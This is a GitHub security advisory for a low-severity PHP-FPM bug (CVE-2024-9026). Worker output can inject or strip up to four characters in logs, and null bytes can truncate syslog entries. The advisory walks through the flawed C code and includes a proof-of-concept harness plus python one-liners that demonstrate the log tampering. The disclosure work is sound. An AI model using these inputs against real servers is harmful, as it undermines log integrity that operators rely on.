Skip to content

[PHP-FPM] Logs from childrens may be altered

Low
bukka published GHSA-865w-9rf3-2wh5 Sep 27, 2024

Package

No package listed

Affected versions

< 8.1.30
< 8.2.24
< 8.3.12

Patched versions

8.1.30
8.2.24
8.3.12

Description

Summary

In PHP-FPM, when configured to catch workers output through catch_workers_output = yes configuration, it may be possible to pollute the final log with up to 4 characters from the FPM_STDIO_CMD_FLUSH macro, or remove up to 4 characters from the logs. Additionally, If PHP-FPM is configured to use a syslog, it seems that much more characters can be excluded from the logs, even though it has not been tested.

Note that this issue was found and reported as part of Quarkslab security audit on PHP-SRC with the OSTIF and PHP Foundation.

Details

The method static void fpm_stdio_child_said defined in sapi/fpm/fpm/fpm_stdio.c is responsible for parsing and writing the logs out from workers input.

The interesting part is the following :

	while (1) {
stdio_read:
		in_buf = read(fd, buf, sizeof(buf) - 1);
		if (in_buf <= 0) { /* no data */
			if (in_buf == 0 || !PHP_IS_TRANSIENT_ERROR(errno)) {
				/* pipe is closed or error */
				read_fail = (in_buf < 0) ? in_buf : 1;
			}
			break;
		}
		start = 0;
		if (cmd_pos > 0) {
			if 	((sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos) <= in_buf &&
					!memcmp(buf, &FPM_STDIO_CMD_FLUSH[cmd_pos], sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos)) {
				zlog_stream_finish(log_stream);
				start = cmd_pos;
			} else {
				zlog_stream_str(log_stream, &FPM_STDIO_CMD_FLUSH[0], cmd_pos);
			}
			cmd_pos = 0;
		}
		for (pos = start; pos < in_buf; pos++) {
			switch (buf[pos]) {
				case '\n':
					zlog_stream_str(log_stream, buf + start, pos - start);
					zlog_stream_finish(log_stream);
					start = pos + 1;
					break;
				case '\0':
					if (pos + sizeof(FPM_STDIO_CMD_FLUSH) <= in_buf) {
						if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, sizeof(FPM_STDIO_CMD_FLUSH))) {
							zlog_stream_str(log_stream, buf + start, pos - start);
							zlog_stream_finish(log_stream);
							start = pos + sizeof(FPM_STDIO_CMD_FLUSH);
							pos = start - 1;
						}
					} else if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, in_buf - pos)) {
						cmd_pos = in_buf - pos;
						zlog_stream_str(log_stream, buf + start, pos - start);
						goto stdio_read;
					}
					break;
			}
		}
		if (start < pos) {
			zlog_stream_str(log_stream, buf + start, pos - start);
		}
	}

For each characters of buf, it is checked whether it is \n or \0. \n is used to indicate that the current line of log is terminated and can be written. \0 is used to detect the FPM_STDIO_CMD_FLUSH macro characters sequence, defined as \0fscf\0 and used to flush logs. It acts the same as \n.

If a \0 character is encountered, and if the end of the buffer is reached before the full comparison with FPM_STDIO_CMD_FLUSH can be achieved, then the comparison is done with what is currently available:

	} else if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, in_buf - pos)) {
		cmd_pos = in_buf - pos;
		zlog_stream_str(log_stream, buf + start, pos - start);
		goto stdio_read;
	}

If it matches, the number of characters that have already been checked is saved in cmd_pos and a goto statement bring the control flow back to the top of the loop so that the buffer can be filled again. After that, the comparison continues :

start = 0;
if (cmd_pos > 0) {
	if 	((sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos) <= in_buf &&
			!memcmp(buf, &FPM_STDIO_CMD_FLUSH[cmd_pos], sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos)) {
		zlog_stream_finish(log_stream);
		start = cmd_pos; // IT SHOULD BE sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos
	} else {
		zlog_stream_str(log_stream, &FPM_STDIO_CMD_FLUSH[0], cmd_pos);
	}
	cmd_pos = 0;
}

As cmd_pos is superior to 0, the comparison continues with the remaining characters to compare with. If it matches, the current buffer is written and flushed. The cursor is set to cmd_pos and the iteration on the buffer starts again.
However, as is, the rest of the FPM_STDIO_CMD_FLUSH characters sequence is added to the next output, including the \0 character, or, the first bytes of the next outputs are not included depending of the value of cmd_pos.

That is because start shouldn't be set to cmd_pos value, which correspond to the number of characters that have already been compared, from the previous buffer. It should be set to sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos instead.

Additionnally and more generally, if a null character is contained in the log and a syslog is configured, it appears that the final string to be written won't contains the characters after this null character. Indeed, logs are sent by calling php_syslog(syslog_priorities[zlog_level], "%s", stream->buf.data); from zlog_stream_buf_append defined as :

static ssize_t zlog_stream_buf_flush(struct zlog_stream *stream) /* {{{ */
{
	ssize_t written;

#ifdef HAVE_SYSLOG_H
	if (stream->use_syslog) {
		zlog_stream_buf_copy_char(stream, '\0');
		php_syslog(syslog_priorities[zlog_level], "%s", stream->buf.data);
		--stream->len;
	}
#endif

	if (external_logger != NULL) {
		external_logger(stream->flags & ZLOG_LEVEL_MASK,
				stream->buf.data + stream->prefix_len, stream->len - stream->prefix_len);
	}
	zlog_stream_buf_copy_char(stream, '\n');
	written = zlog_stream_direct_write(stream, stream->buf.data, stream->len);
	stream->len = 0;

	return written;
}

It seams pretty obvious that a null character will be treated as the end of the buffer regarding the following line : zlog_stream_buf_copy_char(stream, '\0'); which is called right beforephp_syslog is, and that the buffer data is passed as a parameter without any information on its length.

I anyway checked how the buffer was formatted and sent to the syslog server. The buffer and arguments are processed by xbuf_format_converter function defined in /main/spprintf.c, where, as expected, the length of the argument is determined using strlen function, which will stops on \0 :

					case 's':
					s = va_arg(ap, char *);
					if (s != NULL) {
						if (!adjust_precision) {
							s_len = strlen(s);
						} else {
							s_len = zend_strnlen(s, precision);
						}
					} else {
						s = S_NULL;
						s_len = S_NULL_LEN;
					}
					pad_char = ' ';
					break;

Note that some prerequisites may be needed in order to exploit this vulnerability from the outside world. Auditing the communications between PHP-FPM Master and its workers was one of the asked key tasks regarding Quarkslab audit.

PoC

Using the following code, it is possible to reproduce the described behavior on log pollution, up to 4 characters.
The function fpm_stdio_child_said has been extracted and adapted so it can read data from a buffer instead of a file descriptor:

#include "fuzzer.h"

#include "Zend/zend.h"
#include "main/php_config.h"
#include "main/php_main.h"
#include "sapi/fpm/fpm/fpm.h"
#include "sapi/fpm/fpm/fpm_children.h"
#include "sapi/fpm/fpm/fpm_stdio.h"

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

#include "fuzzer-sapi.h"


#define FPM_STDIO_CMD_FLUSH "\0fscf"
#define BUFF_SIZE 8192


static void fpm_stdio_child_said_poc(char *Data, size_t Size, uint32_t buffer) /* {{{ */
{

	char *buf = Data;
	int is_stdout;
	int in_buf = 0, cmd_pos = 0, pos, start;
	int read_fail = 0, create_log_stream;
    size_t read_bytes = 0;
	struct zlog_stream *log_stream;


    log_stream = malloc(sizeof(struct zlog_stream));
    zlog_stream_init_ex(log_stream, ZLOG_WARNING, STDERR_FILENO);
    log_stream->use_buffer = buffer;
    log_stream->buf_init_size = 1024; //added
    zlog_stream_set_decorating(log_stream, 1);
    zlog_stream_set_wrapping(log_stream, ZLOG_TRUE);
    zlog_stream_set_msg_prefix(log_stream, STREAM_SET_MSG_PREFIX_FMT,
            "www", (int) 99999, "stdout");
    zlog_stream_set_msg_quoting(log_stream, ZLOG_TRUE);
    zlog_stream_set_is_stdout(log_stream, 1);
    zlog_stream_set_child_pid(log_stream, 99999);

    size_t readTotalBytes = 0;
    int iteration = 0;

	while (1) {
    read_stdio:
        buf += read_bytes;
        readTotalBytes += read_bytes;

        if (readTotalBytes == Size) {
            in_buf = 0;
            break;
        } else if (readTotalBytes + 1023 > Size) {
            in_buf = (int)(Size - readTotalBytes);
            
        } else {
            in_buf = 1023;
        }

        read_bytes = in_buf;
            
		if (in_buf <= 0) { /* no data */
				/* pipe is closed or error */
			read_fail = (in_buf < 0) ? in_buf : 1;
			break;
		}
		start = 0;
		if (cmd_pos > 0) {
			if 	((sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos) <= in_buf &&
					!memcmp(buf, &FPM_STDIO_CMD_FLUSH[cmd_pos], sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos)) {
				zlog_stream_finish(log_stream);
				start = cmd_pos;
			} else {
				zlog_stream_str(log_stream, &FPM_STDIO_CMD_FLUSH[0], cmd_pos);
			}
			cmd_pos = 0;
		}
		for (pos = start; pos < in_buf; pos++) {
			switch (buf[pos]) {
				case '\n':
					zlog_stream_str(log_stream, buf + start, pos - start);
					zlog_stream_finish(log_stream);
					start = pos + 1;
					break;
				case '\0':
					if (pos + sizeof(FPM_STDIO_CMD_FLUSH) <= in_buf) {
						if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, sizeof(FPM_STDIO_CMD_FLUSH))) {
							zlog_stream_str(log_stream, buf + start, pos - start);
							zlog_stream_finish(log_stream);
							start = pos + sizeof(FPM_STDIO_CMD_FLUSH);
							pos = start - 1;
                            
						}
					} else if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, in_buf - pos)) {
						cmd_pos = in_buf - pos;
						zlog_stream_str(log_stream, buf + start, pos - start);
						goto read_stdio;
					}
					break;
			}
		}
		if (start < pos) {
			zlog_stream_str(log_stream, buf + start, pos - start);
		}

        in_buf = 0;
	}

	if (read_fail && log_stream) {
        zlog_stream_set_msg_suffix(log_stream, NULL, ", pipe is closed");
        zlog_stream_finish(log_stream);
	}

    zlog_stream_destroy(log_stream);
    if(log_stream)
        free(log_stream);
}


int main(int argc, char **argv) {
	char input[BUFF_SIZE+1];
    memset(input, 0, BUFF_SIZE+1);
    FILE * fptr = NULL;

    if(argc > 1 && argc == 2) {
        fptr = fopen(argv[1], "rb");
        fread(input, BUFF_SIZE, 1, fptr);

    } else {
        fgets(input, BUFF_SIZE, stdin);
    }

    for(int i=0; i<2; i++) {
        fpm_stdio_child_said_poc(input, BUFF_SIZE, i);
    }
    if (fptr)
        fclose(fptr);
	return 0;
}

As a first demonstration, we're filling the buffer with data and ends it with the first character of FPM_STDIO_CMD_FLUSH so that the end of the buffer will contains \[...]AAAQuarkslab\0\0

root@r:~/php-src# python3 -c 'print("A" * 1013 + "Quarkslab"+ "\0fscf\0" + "Quarkslab")' | ./sapi/fuzzer/php-fuzz-std-fpm
[24-Jul-2024 15:02:00] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAA"
[24-Jul-2024 15:02:00] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAAQuarkslab"
[24-Jul-2024 15:02:00] WARNING: [pool www] child 99999 said into stdout: "scfQuarkslab"

The null character isn't showed because the shell ignores it but it is included in the output.

In order to suppress up to 4 characters, one has to write all the characters of FPM_STDIO_CMD_FLUSH except the last one in the end of the buffer :

root@r:~/php-src# python3 -c 'print("A" * 1009 + "Quarkslab"+ "\0fscf\0" + "Quarkslab")' | ./sapi/fuzzer/php-fuzz-std-fpm
[24-Jul-2024 16:12:08] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAA"
[24-Jul-2024 16:12:08] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAAQuarkslab"
[24-Jul-2024 16:12:08] WARNING: [pool www] child 99999 said into stdout: "kslab"

Impact

The impact is low.
Users of PHP-FPM that redirect stdout and stderr of the workers towards the master process are be affected. If the length of the messages can be controlled, logs can be polluted by including part of FPM_STDIO_CMD_FLUSH, or stripped from up to 4 characters.
If a SYSLOG is configured and a null character can be injected in the messages sent by the workers, it seems that the rest of the log is not sent.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2024-9026

Weaknesses

Credits